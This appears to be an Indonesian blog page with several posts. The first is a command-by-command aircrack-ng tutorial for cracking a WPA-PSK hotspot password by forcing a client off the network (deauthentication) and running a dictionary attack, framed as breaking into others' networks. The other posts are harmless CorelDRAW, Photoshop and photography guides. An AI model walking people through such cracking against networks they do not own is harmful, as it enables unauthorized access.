Thursday, February 28, 2013

TUTORIAL CRACKING PASSWORD HOTSPOT WPA-PSK DENGAN LINUX BACKTRACK




Kali ini, saya akan mencoba sedkit memberi penejelasan bagaimana sih cara membobol password hotspot yang bertipe wpa-psk dengan mudah.
Cara ini bisa menggunakan linux backtrack 4 final release atau linux apapun tertama asal sudah terinstall aplikasi aircrack-ng. Tidak berlama-lama mari simak artikel berikut.


Pertama, siapkan CD Live Backtrack atau bisa make linux ubuntu dengan menginstall aplikasi aircrack-ng. Ketik perintah di bawah untuk menginstall aircrack-ng di linux ubuntu
sudo apt-get install aircrack-ng


Kedua, masuk ke dekstop dengan perintah ~# startx (untuk yang pakai backtrack)


Ketiga, buka konsole (terminal) dan ketikkan perintah untuk melihat interface device yang ada
ifconfig -a


Keempat, ketikkan perintah di bawah untuk mengaktifkan interface wlan0
ifconfig wlan0 up


Kelima, sekarang gunakan aplikasi airmon-ng untuk airmon-ng membuat virtual interface mode monitor dengan mengetikkan perintah di bawah.
airmon-ng start wlan0


Keenam, monitorlah jaringan di sekitar kamu. Caranya ketiklah perintah ini.
airodump-ng mon0
                                      catatan : mon0 adalah interface virtual hasil dari airmon-ng tadi


Ketujuh, fokuskan monitoring jaringan hotspot yang ingin kita bobol passwordnya. Ketik lagi perintah berikut.
airodump-ng -w coba –channel 11 –bssid 001122334455 mon0
                   keterangan: memonitoring khusus jaringan yang memiliki bssid 00:11:22:33:44:55 pada channel 11 dan hasil dari monitoring di tulis

                   pada file yang bernama ‘coba’


Selanjutnya, gunakan serangan dengan cara disconnect salah satu client untuk mendapatkan paket handshake yang dibutuhkan untuk proses cracking
aireplay-ng -0 1 -a 001122334455 -c oo1cbfa13fe3 mon0
                  keterangan: aireplay-ng digunakan untuk mendisconnect salah satu client yaitu 00:1C:BF:A1:3F:E3 untuk mendapatkan paket 

                  handshake yang dibutuhkan untuk proses cracking
                    -0 : mode serangan deAuthentication
                     1 : dilakukan sebanyak 1x deAuth


Terakhir, setelah mendapatkan paket handshake, selanjutnya adalah proses cracking dengan menggunakan aircrack dan file password dengan existensi .lst atau .txt dengan perintah
aircrack-ng coba*.cap -w /pentest/passwords/wordlists/listpass.txt
                   keterangan : listpass.txt adalah file password yang saya buat sendiri dan terletak pada /pentest/passwords/wordlists/listpass.txt


NB,,,, keberhasilan proses cracking tergantung ada tidaknya password yang ada di list password dengan password yang sebenarnya. Jika password yang digunakan pada jaringan tersebut ada di list password maka proses cracking akan berhasil dan jika password list yang kita miliki tidak mencatat password yang digunakan pada jaringan tersebut kemungkinan keberhasilan proses cracking akan gagal. Dan akhirnya, yang sedikit dari saya ini semoga membantu buat pengetahuan. Selamat mencoba

Sunday, February 17, 2013

Mengenal Corel Draw X4

Mengenal CorelDRAW

Disini kita  menggunakan CorelDRAW X4. Sebelum ke pokok permasalahan alangkah baiknya kita mengenal hal yang berkaitan dengan lingkungan kerja CorelDRAW, prosedur yang digunakan untuk menjalankan program CorelDRAW X4 adalah: Klik  Start --> Programs --> Corel Graphics Suite X4 --> CorelDRAW X4, atau Klik Enter / Doubel Klik Icon CorelDRAW X4 pada Desktop seperti gambar dibawah ini;





Kemudian tampil kotak dialog sebagai berikut :


Keterangan;

Quick Start:
Menu untuk memulai dengan cepat dengan membuka beberapa file yang terakhir dikerjakan,

What's New:
Menu tentang informasi terbaru program coreldraw X4 dengan berbagai kelebihan dibanding CorelDRAW versi sebelumnya

Learning Tools:
Menu informasi tentang cara belajar menggunakan CorelDRAW dengan video DVD dan tambahan 5 link menu untuk tutorial CorelDRAW X4.

Gallery:
Menu informasi tentang hasil olah kerja dengan CorelDRAW hasil karya para desainer yang telah menyumbang hasil karya mereka diweb resmi coreldraw, disana diberikan link untuk mengujungi langsung web pembuat desain dengan coreldraw ini.

Updates:
Link untuk update CorelDRAW terbaru dan berpartisipasi untuk menyumbangkan hasil karya dengan CorelDRAW international design contestan

Sebagai langkah awal pembuatan objek grafis sampeyan pilih Quick Start > Start New > New Blank Document (untuk versi sebelumnya pilih New Graphic), sehingga tampil lembar kerja utama sebagai berikut :


  1. Judul Window: Berisi nama program dan nama file
  2. Menu Bar: Berisi perintah yang digunakan
  3. Toolbar Standard: Untuk mempersingkat pekerjaan.
  4. Property Bar: Tombol mempermudah pemakaian Toolbox
  5. Toolbox: Alat untuk memproses atau memodifikasi objek
  6. Rulers: Untuk ketepatan ukuran objek
  7. Status Page: Informasi tertang jumlah halaman
  8. Control Window: Perkecil, perbesar dan menutup window.
  9. Printable Area: Area pencetakan objek gambar
  10. Drawing Window: Area untuk mengolah objek gambar
  11. Vertical Scrollbar: Untuk menggulung layar tegak lurus
  12. Color Palette: Untuk warna pada objek gambar aktif
  13. Status Bar: Berisi informasi objek gambar aktif
  14. Horizontal Scrollbar: Untuk menggulung layar mendatar
  15. Dockers: menu Roll Up
Demikian sekilas tentang pengenalan CorelDRAW, bagaimana asik juga kan Mas Bro Marvent ?
Monggo sampeyan buka2 dulu, semoga bermanfaat.




Seluruh artikel di Blog ini dapat dicopas, dimodifikasi, diperbanyak, dicetak, disebarkan secara bebas dan boleh tidak menyebutkan sumber asal dari artikel yang ingin Anda tampilkan dari blog ini bila memang Anda merasa terganggu. Kecuali artikel dari rekan rekan lain yang di share pada blog ini harus disertakan link sumbernya

Saturday, February 16, 2013

Memanipulasi Foto

Memanipulasi Foto




Manipulasi foto adalah bagian yang paling diminati oleh pengguna Adobe Photoshop di seluruh dunia. Hal ini tentu saja disebabkan oleh banyaknya karya-karya manipulasi foto unik yang bisa dihasilkan dari memanipulasi sebuah foto standar. Sebagai contoh, pada tutorial kali ini, kita akan menggunakan sebuah tehnik sederhana untuk menciptakan kesan 'hantu' pada sebuah foto di Photoshop. sangat sederhana! karena cuma menghilangkan kepalanya saja. :D

Lagi-lagi pake fotonya Alyssa! bukan karena saya ngefans sama Alyssa, tapi karena kebetulan stock foto yang ada ya cuma ini! :D *jarang ngoleksi foto*


STEP SATOE : Masukkan foto ke Photoshop (Ctrl + O)


STEP DUA : Pada Tool Box di sebelah kiri area kerja, pilih Clone Stamp Tool (S) kemudian set Besar Clone Stamp Tool seperti gambar dibawah. Kecilkan besar Hardness. Langkah selanjutnya, arahkan kuas dari Clone Stamp Tool pada area dinding di pinggiran kepala Alyssa, kemudian sambil menekan tombol Alt pada klik pada area dinding di bagian pinggiran kepala Alyssa. Lepas tombol Alt, lalu sapukan kuas ke bagian kepala Alyssa. langkah ini digunakan untuk mengganti bagian kepala Alyssa dengan bagian dinding yang diambil sampelnya.

untuk bagian pinggir, kecilkan besar kuas dan besarkan nilai Hardnessnya, sapukan dengan hati-hati untuk menghindari kesalahan dalam step ini.



STEP TIGA : Pilih Pen Tool, kemudian seleksi bagian leher seperti gambar dibawah. Jika sudah, klik kanan kemudian pilih Make Selection untuk membuat seleksi pada bidang tersebut. setelah terseleksi, ambil sampel bagian kerah dan sapukan kedalam bagian yang terseleksi dengan menggunakan Clone Stamp Tool.


STEP EMPAT : Pada Menu Bar, pilih Image>Hue/Saturation. Turunkan besar saturation seperti gambar dibawah ini.


STEP LIMA : Pilih Image>Level (Ctrl + L), geser titik hitam di bagian kiri ke arah kanan untuk mempergelap bagian yang terseleksi.


STEP ENAM : Jika masih kurang gelap, pilih Image>Brightness and Contrass, turunkan nilai Brightness seperti gambar di bawah.


STEP TUJUH : Pada bagian kerah, masih terdapat noda hitam dari bayangan kepala yang menyebabkan kondisi tidak realistis pada gambar. Seleksi bagian tersebut menggunakan Pen Tool, kemudian ambil sampel bagian kerah yang paling dekat dan sapukan pada bagian terseleksi dengan menggunakanClone Stamp Tool. Lakukan hal yang sama pada sisi kerah yang lainnya. Tekan Ctrl + D untuk Menghapus seleksi.



STEP DELAPAN : Pilih Burn Tool pada Tool Box untuk memberikan kesan bayangan pada bagian dalam kerah (hasil buatan), Kecilkan nilai Hardness untuk memberi kesan gradasi pada bayangan.


STEP SEMBILAN : Selesai! buka tab baru di browser dan langsung aplot ke fesbuk! :D





0 komentar:


Poskan Komentar


Tentang Photografy


Sekilas tentang Fotografi

Gunawan Wibisono

Kata photography berasal dari kata photo yang berarti cahaya dan graph yang berarti gambar. Jadi photography bisa diartikan menggambar/melukis dengan cahaya.

Jenis-jenis kamera

Kamera film, sekarang juga disebut dengan kamera analog oleh beberapa orang.

Format film

Sebelum kita melangkah ke jenis-jenis kamera film ada baiknya kita mengenal terlebih dahulu berbagai macam format/ukuran film.
  1. APS, Advanced Photography System. Format kecil dengan ukuran film 16x24mm, dikemas dalam cartridge. Meski format ini tergolong baru, namun tidak populer. Toko yang menjual film jenis ini susah dicari di Indonesia.
  2. Format 135. Dikenal juga dengan film 35mm. Mempunyai ukuran 24x36mm, dikemas dalam bentuk cartridge berisi 20 atau 36 frame. Format ini adalah format yang paling populer, banyak kita temui di sekitar kita.
  3. Medium format
  4. Large format

Jenis Film

  1. Film B/W, film negatif hitam putih.
  2. Film negatif warna. Paling populer, sering kita pakai.
  3. Film positif, biasa juga disebut slide. Lebih mahal dan rawan overexposure. Meski demikian warna-warna yang dihasilkan lebih bagus karena dapat menangkap rentang kontras yang lebih luas.

Jenis-jenis kamera

  1. Pocket/compact. Kamera saku. Populer bagi orang awam, sederhana dan mudah dioperasikan. Menggunakan film format 35mm.
  2. Rangefinder. Kamera pencari jarak. Kecil, sekilas mirip dengan kamera saku. Bedanya, kamera ini mempunyai mekanisme fokusing (karenanya disebut rangefinder). Umumnya menggunakan film format 35mm.
  3. SLR, Single Lens Reflex. Kamera refleks lensa tunggal. Populer di kalangan profesional, amatir dan hobiis. Umumnya mempunyai lensa yang dapat diganti. Menggunakan film format 35mm. Disebut juga kamera sistem.
  4. TLR, Twin Lens Reflex. Kamera refleks lensa ganda. Biasanya menggunakan format medium.
  5. Viewfinder. Biasanya menggunakan format medium.

Kamera manual dan kamera otomatis. Kamera-kamera SLR terbaru umumnya sudah dilengkapi sistem autofokus dan autoexposure namun masih dapat dioperasikan secara manual.

Kamera digital. Menggunakan sensor digital sebagai pengganti film.
  1. Consumer. Kamera saku, murah, mudah pemakaiannya. Lensa tak dapat diganti. Sebagian besar hanya punya mode full-otomatis. Just point and shoot. Beberapa, seperti Canon seri A, memiliki mode manual.
  2. Prosumer. Kamera SLR-like, harga menengah. Lensa tak dapat diganti. Shooting Mode manual dan auto.
  3. DSLR. Digital SLR.


Lensa, mata dari kamera, secara umum menentukan kualitas foto yang dihasilkan lensa memiliki 2 properties penting yaitu panjang fokal dan aperture maksimum.
Field of View (FOV) tiap lensa memiliki FOV yang lebarnya tergantung dari panjang fokalnya dan luas film/sensor yang digunakan.
Field of View Crop, sering disebut secara salah kaprah dengan focal length multiplier. Hampir semua kamera digital memiliki ukuran sensor yang lebih kecil daripada film 35mm, maka pada field of view kamera digital lebih kecil dari pada kamera 35mm. Misal lensa 50 mm pada Nikon D70 memiliki FOV yang sama dengan lensa 75mm pada kamera film 35mm (FOV crop  factor 1.5x)

Jenis-jenis Lensa

a. berdasarkan prime-vario
1.    Fixed focal/Prime, memiliki panjang fokal tetap, misal Fujinon 35mm F/3.5 memiliki panjang fokal 35 mm. Lensa prime kurang fleksibel, namun kualitasnya lebih tinggi daripada lensa zoom pada harga yang sama.
2.    Zoom/Vario, memiliki panjang fokal yang dapat diubah, misal Canon EF-S 18-55mm F/3.5-5.6 memiliki panjang fokal yang dapat diubah dari 18 mm sampai 55 mm. Fleksibel karena panjang fokalnya yang dapat diatur.
b. berdasarkan panjang focal
1.    Wide, lensa dengan FOV lebar, panjang fokal 35 mm atau kurang. Biasanya digunakan untuk memotret pemandangan dan gedung.
2.    Normal, panjang fokal sekitar 50 mm. Lensa serbaguna, cepat dan harganya murah.
3.    Tele, lensa dengan FOV sempit, panjang fokal 70mm atau lebih. Untuk memotret dari jarak jauh.
c. berdasarkan aperture maksimumnya.
1.    Cepat, memiliki aperture maksimum yang lebar.
2.    Lambat, memiliki aperture maksimum sempit.
d. lensa-lensa khusus
1.    Lensa Makro, digunakan untuk memotret dari jarak dekat
2.    Lensa Tilt and Shift, bisa dibengkokan.
Ketentuan lensa lebar/tele (berdasarkan panjang focal) di atas berlaku untuk kamera film 35mm. Lensa Nikkor 50 mm menjadi lensa normal pada kamera film 35mm, tapi menjadi lensa tele jika digunakan pada kamera digital Nikon D70. Pada Nikon D70 FOV Nikkor 50 mm setara dengan FOV lensa 75 mm pada kamera film 35mm.

Peralatan bantu lain

Tripod, diperlukan untuk pemotretan dengan kecepatan lambat. Pada kecepatan lambat, menghindari goyangan kamera jika dipegang dengan tangan (handheld). Secara umum kecepatan minimal handhel adalah 1/focal.
Membawa tripod saat hunting bisa merepotkan. Untuk keperluan hunting biasanya tripod yang dibawa adalah tripod yang ringan dan kecil.
Monopod, mirip tripod, kaki satu. Lebih mudah dibawa. Hanya dapat menghilangkan goyangan vertikal saja.
Flash/blitz/lampu kilat, untuk menerangai obyek dalam kondisi gelap.
Filter, untuk menyaring cahaya yang masuk. Ada banyak jenisnya.
§  UV, menyaring cahaya UV agar tidak terjadi hazy pada foto2 landscape, sering digunakan untuk melindungi lensa dari debu.
§  PL/CPL (Polarizer/Circular Polarizar) untuk mengurangi bayangan pada permukaan non logam. Bisa juga untuk menambah kontras langit.
Exposure, jumlah cahaya yang masuk ke kamera, tergantung dari aperture dan kecepatan.
§   Aperture/diafragma. Makin besar aperture makin banyak cahaya yang masuk. Aperture dinyatakan dengan angka angka antara lain sebagai berikut: f/1,4 f/2 f/3,5 f/5.6 f/8. semakin besar angkanya (f number), aperture makin kecil aperturenya.
§   Shutter speed/kecepatan rana. Makin cepat, makin sedikit cahaya yang masuk.
§   ISO, menyatakan sensitivitas sensor/film. Makin tinggi ISOnya maka jumlah cahaya yang dibutuhkan makin sedikit. Film ISO 100 memerlukan jumlah cahaya 2 kali film ISO 200.
Contoh: kombinasi diafragma f/5.6 kec. 1/500 pada ISO 100 setara dengan diafragma f/8 kec 1/500 atau f/5.6 kec. 1/1000 pada ISO 200.
Exposure meter, pengukur cahaya. Hampir tiap kamera modern memiliki pengukur cahaya internal. Selain itu juga tersedia pengukur cahaya eksternal.
Exposure metering (sering disingkat dengan metering saja), metode pengukuran cahaya
  1. Average metering, mengukur cahaya rata-rata seluruh frame.
  2. Center-weighted average metering, mengukur cahaya rata-rata dengan titik berat bagian tengah.
  3. Matrix/Evaluative metering, Mengukur cahaya di berbagai bagian dari frame, untuk kemudian dikalkulasi dengan metode-metode otomatis tertentu.
  4. Spot metering, mengukur cahaya hanya pada bagian kecil di tengah frame saja.
Exposure compensation, 18% grey. Exposure meter selalu mengukur cahaya dan menhasilkan pengukuran sehingga terang foto yang dihasilkan berkisar pada 18% grey. Jadi kalau kita membidik sebidang kain putih dan menggunakan seting exposure sebagaimana yang ditunjukan oleh meter, maka kain putih tersebut akan menjadi abu-abu dalam foto. Untuk mengatasi hal tersebut kita harus melakukan exposure compensation. Exposure kita tambah sehingga kain menjadi putih.
Under exposured, foto terlalu gelap karena kurang exposure.
Over exposured, foto terlalu terang karena kelebihan exposure
Istilah stop. Naik 1 stop, artinya exposure dinaikkan menjadi 2 kali. Naik 2 stop, artinya exposure dinaikkan menjadi 4 kali. Turun 1 stop exposure diturunkan menjadi 1/2 kali. Turun 2 stop exposure diturunkan menjadi 1/4 kali.
Kenaikan 1 stop pada aperture sebagai berikut: f/22; f/16; f/11; f/8; f/5,6; f/4; f/2,8; f/2. Beda f number tiap stop adalah 0,7 kali (1/Ö2).
Kenaikan 1 stop pada kec. Rana sebagai berikut: 1/2000; 1/1000; 1/500; 1/250; 1/125; 1/60; 1/30; 1/15; 1/8; 1/4; 1/2; 1. Beda speed tiap stop adalah 2 kali.

DOF, Depth of Field, kedalaman medan. DOF adalah daerah tajam di sekitar fokus.
Kedalaman medan dipengaruhi oleh besar aperture, panjang fokal, dan jarak ke obyek.
1.    Aperture, semakin besar aperture (f number makin kecil) maka DOF akan makin dangkal/sempit.
2.    Panjang fokal (riil), semakin panjang fokal, DOF makin dangkal/sempit.
3.    Jarak ke obyek, semakin dekat jarak ke obyek maka DOF makin dangkal/sempit.
Pemilihan DOF
§   Jika DOF sempit, FG dan BG akan blur. DOF sempit digunakan jika kita ingin mengisolasi/menonjolkan obyek dari lingkungan sekitarnya misalnya pada foto-foto portrait atau foto bunga.
§   Jika DOF lebar, FG dan BG tampak lebih tajam. DOF lebar digunakan jika kita menginginkan hampir seluruh bagian pada foto nampak tajam, seperti pada foto landscape atau foto jurnalistik.

Shooting mode
Mode auto, mode point and shoot, tinggal bidik dan jepret.
  1. Full auto, kamera yang menentukan semua parameter.
  2. Portrait, kamera menggunakan aperture terbesar untuk menyempitkan DOF.
  3. Landscape, kamera menggunakan aperture terkecil.
  4. Nightscene, menggunakan kecepatan lambat dan flash untuk menangkap obyek dan BG sekaligus.
  5. Fast shuter speed
  6. Slow shutter speed
Creative zone
  1. P, program AE. Mirip dengan mode auto dengan kontrol lebih. Dengan mode ini kita bisa mengontrol exposure compensation, ISO, metering mode, Auto/manual fokus, white balance, flash on/off, dan continues shooting.
  2. Tv, shutter speed priority AE. Kita menetukan speed, kamera akan menghitung aperture yang tepat.
  3. Av, aperture priority AE. Kita menentukan aperture, kamera mengatur speed.
  4. M, manual exposure. Kita yang menentukan aperture dan speed secara manual.

Komposisi dan Angle.
Komposisi adalah penempatan obyek dalam frame foto
Angle adalah sudut pemotretan, dari bawah, atas, atau sejajar.
Komposisi dan angle lebih menyangkut ke seni dari fotografi. Faktor selera fotografer sangat besar pengaruhnya.